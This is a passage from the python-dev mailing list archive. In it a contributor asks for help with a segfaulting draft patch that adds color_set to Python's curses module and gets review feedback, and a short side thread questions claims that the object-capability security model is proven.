{"color_set", (PyCFunction)PyCurses_color_set, METH_VARARGS},
-End Snippet ---
The code compiles and installs fine, but when I run the following unit test,
I get a segmentation fault:
- Snippet ---
import unittest, curses
from test import test_support
def testCursesColorSet(stdscrn):
curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
i = curses.color_set(1, NULL);
stdscrn.addstr("RED/BLACK (%0)\n".format(i))
i = curses.color_set(2, NULL);
stdscrn.print("WHITE/BLUE (%0)\n".format(i))
i = curses.color_set(0, NULL);
stdscrn.print("Default (%0)\n".format(i))
def test_main(stdscrn):
curses.savetty()
if curses.has_color():
testCursesColorSet(stdscrn)
else
stdscr.addstr( "Test Aborted: Color not supported on this terminal.")
if __name__ == '__main__':
curses.wrapper(test_main)
-End Snippet ---
It turns out that by commenting out this line in the _cursesmodule.c code,
allows the unit test to run
obviously reporting the error as expected:
- Snippet ---
//erg = color_set(color_pair_number, opts); // Debating on forcing null
here.
-End Snippet ---
At any rate I am stuck. I am still trying to build just a plain C file
which will test the color_set function
outside of python, but that is another task.
Any suggestions?
--
View this message in context:
http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22191916.html
Sent from the Python - python-dev mailing list archive at Nabble.com.
___
Python-Dev mailing list
[email protected]
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe:
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
On Mon, 23 Feb 2009 23:22:19 +, tav wrote: > Steve, this isn't death by a 1,000 cuts. What's being put forward here > is not a specific implementation -- but rather a specific model of > security (the object capability model) -- which has been proven to be > foolproof. Proven? Isn't it impossible to prove something like this? "Nobody ever see an alien" is not a proof for "There is no alien". "Nobody have thought of a way to break the model" is not a proof for "The model is invincible"... ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Challenge: Please break this! [Now with blog post]
Lie Ryan wrote: > On Mon, 23 Feb 2009 23:22:19 +, tav wrote: > >> Steve, this isn't death by a 1,000 cuts. What's being put forward here >> is not a specific implementation -- but rather a specific model of >> security (the object capability model) -- which has been proven to be >> foolproof. > > Proven? Isn't it impossible to prove something like this? "Nobody ever > see an alien" is not a proof for "There is no alien". "Nobody have > thought of a way to break the model" is not a proof for "The model is > invincible"... > Quite. regards Steve -- Steve Holden+1 571 484 6266 +1 800 494 3119 Holden Web LLC http://www.holdenweb.com/ ___ Python-Dev mailing list [email protected] http://mail.python.org/mailman/listinfo/python-dev Unsubscribe: http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com
Re: [Python-Dev] Adding support to curses library
On Tue, Feb 24, 2009 at 2:18 PM, Heracles
wrote:
>
> Hello,
>
> I am working on a patch to add to the _cursesmodule.c file of the Python
> core libraries. I figured I would take on one of the implemented functions
> to try to get my feet wet contributing to the project. At any rate, I have
> the following function defined in the 2.7.a version updated from SVN this
> morning:
I'm glad you are interested in developing Python. I'm not sure if
this is the best forum. OTOH, I'm not sure if comp.lang.python would
be appropriate either.
I'd suggest making a proper patch and submitting it to http://bugs.python.org
> - Snippet ---
> // Insert new method color_set Steve Owens 2/24/2009
> // The curses library color_set function has the following signature:
> // int color_set(short color_pair_number, void* opts);
> static PyObject *
> PyCurses_color_set(PyObject *self, PyObject *args)
> {
> short color_pair_number;
> void * opts;
> int erg;
>
> // These macros ought to be documented in the API docs
> // but they aren't yet.
> PyCursesInitialised
> PyCursesInitialisedColor
>
> // Per ncurses Man Page:
> // The routine color_set sets the current color of the given window to
> // the foreground/background combination described by the
> color_pair_number.
> // The parameter opts is reserved for future use, applications must
> supply a
> // null pointer.
> switch(PyTuple_Size(args))
> {
> case 1:
> // Dont make them pass a useless null pointer.
> if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
> break;
> case 2:
> // Allow them to pass the opts pointer so that when ncurses is later
> updated.
> // This method will still work.
> if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts))
> return
> NULL;
> break;
> default:
> PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
> (color_pair_number[, opts]?)");
> return NULL;
> }
>
> erg = color_set(color_pair_number, opts); // Debating on forcing null
> here.
>
> if (erg == ERR)
> return PyCursesCheckERR(erg, "color_set");
> else
> PyInt_FromLong((long) 1L);
I did a cursory review of the patch and if this is the exact code,
this is a problem. You are missing a return statement. The compiler
should have issued a warning for this too.
> }
> -End Snippet ---
>
> I also have the following added in (see last line of the snippet):
>
> - Snippet ---
> static PyMethodDef PyCurses_methods[] = {
> {"baudrate", (PyCFunction)PyCurses_baudrate, METH_NOARGS},
> {"beep", (PyCFunction)PyCurses_beep, METH_NOARGS},
> {"can_change_color", (PyCFunction)PyCurses_can_change_color,
> METH_NOARGS},
> {"cbreak", (PyCFunction)PyCurses_cbreak, METH_VARARGS},
> {"color_content", (PyCFunction)PyCurses_Color_Content,
> METH_VARARGS},
> {"color_pair", (PyCFunction)PyCurses_color_pair, METH_VARARGS},
> {"color_set", (PyCFunction)PyCurses_color_set, METH_VARARGS},
> -End Snippet ---
>
> The code compiles and installs fine, but when I run the following unit test,
> I get a segmentation fault:
>
> - Snippet ---
> import unittest, curses
> from test import test_support
>
> def testCursesColorSet(stdscrn):
> curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
> curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
> i = curses.color_set(1, NULL);
> stdscrn.addstr("RED/BLACK (%0)\n".format(i))
> i = curses.color_set(2, NULL);
> stdscrn.print("WHITE/BLUE (%0)\n".format(i))
> i = curses.color_set(0, NULL);
> stdscrn.print("Default (%0)\n".format(i))
>
>
> def test_main(stdscrn):
> curses.savetty()
> if curses.has_color():
> testCursesColorSet(stdscrn)
> else
> stdscr.addstr( "Test Aborted: Color not supported on this terminal.")
>
>
> if __name__ == '__main__':
> curses.wrapper(test_main)
> -End Snippet ---
>
> It turns out that by commenting out this line in the _cursesmodule.c code,
> allows the unit test to run
> obviously reporting the error as expected:
>
> - Snippet ---
> //erg = color_set(color_pair_number, opts); // Debating on forcing null
> here.
> -End Snippet ---
>
> At any rate I am stuck. I am still trying to build just a plain C file
> which will test the color_set function
> outside of python, but that is another task.
>
> Any suggestions?
Beyond what I said above, typically you need to go the next step.
Fire up a debugger and determine exactly where and why it's crashing.
Good luck!
n
___
Python-Dev mailing list
[email protected]
http://mai
